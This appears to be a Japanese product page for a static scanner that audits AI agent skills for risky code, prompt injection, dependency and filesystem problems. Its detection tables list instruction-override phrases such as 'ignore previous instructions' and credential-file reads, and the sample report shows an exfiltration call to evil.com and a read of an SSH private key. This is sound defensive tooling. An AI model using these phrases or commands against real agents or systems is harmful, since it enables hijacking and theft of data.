skill-security-auditor について
AIエージェントスキルをインストール前に監査するツールで、スキルの保守担当者や導入審査を行うチーム向けです。コード、プロンプトインジェクション、依存関係、ファイル構成を静的に調べ、PASS、WARN、FAILの判定と修正案を示します。
主な機能
- 01スクリプトのコード実行リスクをスキャン
- 02スキル文書のプロンプトインジェクションを検出
- 03依存関係の脆弱性や疑わしいパッケージを確認
- 04ファイルシステム境界と隠しファイルを検査
- 05判定と修正案を出力
活用シーン
- 01インストール前にローカルのスキルディレクトリを監査
- 02インストール前にGitリポジトリ内のスキルを確認
- 03CI/CDでリスクのあるスキルを拒否
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ alirezarezvani/ claude-skills --skill skill-security-auditorインストール後、Claude Code で/skill-security-auditorを入力して読み込まれたか確認します。
同梱ファイルreferences/threat-model.mdscripts/skill_security_auditor.py
詳細
スキルセキュリティ監査
インストール前に AI エージェントのスキルをスキャンし、セキュリティリスクを監査します。検出結果と修正方法を含む、明確な PASS / WARN / FAIL の判定を出力します。
クイックスタート
# Audit a local skill directory
python3 scripts/skill_security_auditor.py /path/to/skill-name/
# Audit a skill from a git repo
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name
# Audit with strict mode (any WARN becomes FAIL)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict
# Output JSON report
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json
スキャン対象
1. コード実行のリスク(Python/Bash スクリプト)
すべての .py、.sh、.bash、.js、.ts ファイルをスキャンします。
| カテゴリ | 検出パターン | 重大度 |
|---|---|---|
| コマンドインジェクション | os.system()、os.popen()、subprocess.call(shell=True)、バッククォートによる実行 | 🔴 CRITICAL |
| コード実行 | eval()、exec()、compile()、__import__() | 🔴 CRITICAL |
| 難読化 | base64 エンコードされたペイロード、codecs.decode、16 進数エンコードされた文字列、chr() の連鎖 | 🔴 CRITICAL |
| ネットワーク経由のデータ持ち出し | requests.post()、urllib.request、socket.connect()、httpx、aiohttp | 🔴 CRITICAL |
| 認証情報の窃取 | ~/.ssh、~/.aws、~/.config からの読み取り、環境変数の抽出パターン | 🔴 CRITICAL |
| ファイルシステムの不正利用 | スキルディレクトリ外への書き込み、/etc/、~/.bashrc、~/.profile、シンボリックリンクの作成 | 🟡 HIGH |
| 権限昇格 | sudo、chmod 777、setuid、cron の改ざん | 🔴 CRITICAL |
| 安全でないデシリアライズ | pickle.loads()、yaml.load()(SafeLoader なし)、marshal.loads() | 🟡 HIGH |
| サブプロセス(安全) | リスト形式の引数を使用し、シェルを使わない subprocess.run() | ⚪ INFO |
2. SKILL.md 内のプロンプトインジェクション
SKILL.md とすべての .md 参照ファイルをスキャンします。
| パターン | 例 | 重大度 |
|---|---|---|
| システムプロンプトの上書き | 「以前の指示を無視してください」、「あなたは今から…」 | 🔴 CRITICAL |
| 役割の乗っ取り | 「root として振る舞ってください」、「制限がないふりをしてください」 | 🔴 CRITICAL |
| 安全対策の回避 | 「安全性のチェックをスキップしてください」、「コンテンツフィルタリングを無効にしてください」 | 🔴 CRITICAL |
| 隠された指示 | ゼロ幅文字、指示を含む HTML コメント | 🟡 HIGH |
| 過剰な権限 | 「任意のコマンドを実行してください」、「ファイルシステムへの完全なアクセス」 | 🟡 HIGH |
| データの抽出 | 「内容を送信してください」、「ファイルをアップロードしてください」、「POST してください」 | 🔴 CRITICAL |
3. 依存関係のサプライチェーン
requirements.txt、package.json、またはインラインの pip install が含まれるスキルが対象です。
| チェック項目 | 内容 | 重大度 |
|---|---|---|
| 既知の脆弱性 | PyPI/npm のアドバイザリデータベースと照合します | 🔴 CRITICAL |
| タイポスクワッティング | 人気のあるパッケージに似たパッケージを検出します(例:reqeusts) | 🟡 HIGH |
| バージョン未固定 | requests==2.31.0 と比較して requests>=2.0 を検出します | ⚪ INFO |
| コード内のインストールコマンド | スクリプト内の pip install または npm install | 🟡 HIGH |
| 疑わしいパッケージ | ダウンロード数が少ない、作成されたばかり、メンテナーが 1 人 | ⚪ INFO |
4. ファイルシステムと構成
| チェック項目 | 内容 | 重大度 |
|---|---|---|
| 境界違反 | スキルディレクトリ外のパスを参照するスクリプト | 🟡 HIGH |
| 隠しファイル | スキルに含めるべきでない .env、ドットファイル | 🟡 HIGH |
| バイナリファイル | 予期しない実行ファイル、.so、.dll、.exe | 🔴 CRITICAL |
| 大容量ファイル | ペイロードを隠している可能性がある 1MB を超えるファイル | ⚪ INFO |
| シンボリックリンク | スキルディレクトリ外を指すシンボリックリンク | 🔴 CRITICAL |
監査のワークフロー
- スキャナーを実行する — スキルディレクトリまたはリポジトリの URL を指定します
- レポートを確認する — 検出結果は重大度ごとに分類されています
- 判定を解釈する:
- ✅ PASS — 重大または高リスクの検出項目はありません。安全にインストールできます。
- ⚠️ WARN — 高リスクまたは中リスクの検出項目があります。インストール前に手動で確認してください。
- ❌ FAIL — 重大な検出項目があります。修正せずにインストールしないでください。
- 修正 — 各検出項目には具体的な修正方法が含まれます
レポートの読み方
╔══════════════════════════════════════════════╗
║ SKILL SECURITY AUDIT REPORT ║
║ Skill: example-skill ║
║ Verdict: ❌ FAIL ║
╠══════════════════════════════════════════════╣
║ 🔴 CRITICAL: 2 🟡 HIGH: 1 ⚪ INFO: 3 ║
╚══════════════════════════════════════════════╝
🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
Pattern: eval(user_input)
Risk: Arbitrary code execution from untrusted input
Fix: Replace eval() with ast.literal_eval() or explicit parsing
🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
Pattern: requests.post("https://evil.com/collect", data=results)
Risk: Data exfiltration to external server
Fix: Remove outbound network calls or verify destination is trusted
🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
Pattern: open(os.path.expanduser("~/.ssh/id_rsa"))
Risk: Reads SSH private key outside skill scope
Fix: Remove filesystem access outside skill directory
⚪ INFO [DEPS-UNPIN] requirements.txt:3
Pattern: requests>=2.0
Risk: Unpinned dependency may introduce vulnerabilities
Fix: Pin to specific version: requests==2.31.0
高度な使い方
クローンする前に Git からスキルを監査する
# Clone to temp dir, audit, then clean up
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup
CI/CD との統合
# GitHub Actions step
- name: "audit-skill-security"
run: |
python3 scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi
一括監査
# Audit all skills in a directory
for skill in skills/*/; do
python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done
脅威モデルのリファレンス
AI エージェントスキルに対する脅威モデル、検出パターン、既知の攻撃ベクトルの全容については、references/threat-model.md を参照してください。
制限事項
- ロジックボムや時間差で実行されるペイロードを確実に検出することはできません
- 難読化の検出はパターンベースのため、十分に巧妙な攻撃者は回避できる可能性があります
- ネットワーク宛先のレピュテーションチェックにはインターネット接続が必要です
- コードを実行しません。静的解析のみのため、安全ですが動的解析よりも網羅性は低くなります
- 依存関係の脆弱性チェックでは、最新の CVE データベースではなく、ローカルのパターンマッチングを使用します
監査後に判断に迷った場合は、インストールしないでください。スキルの作成者に説明を求めてください。
コメント
Markdown 対応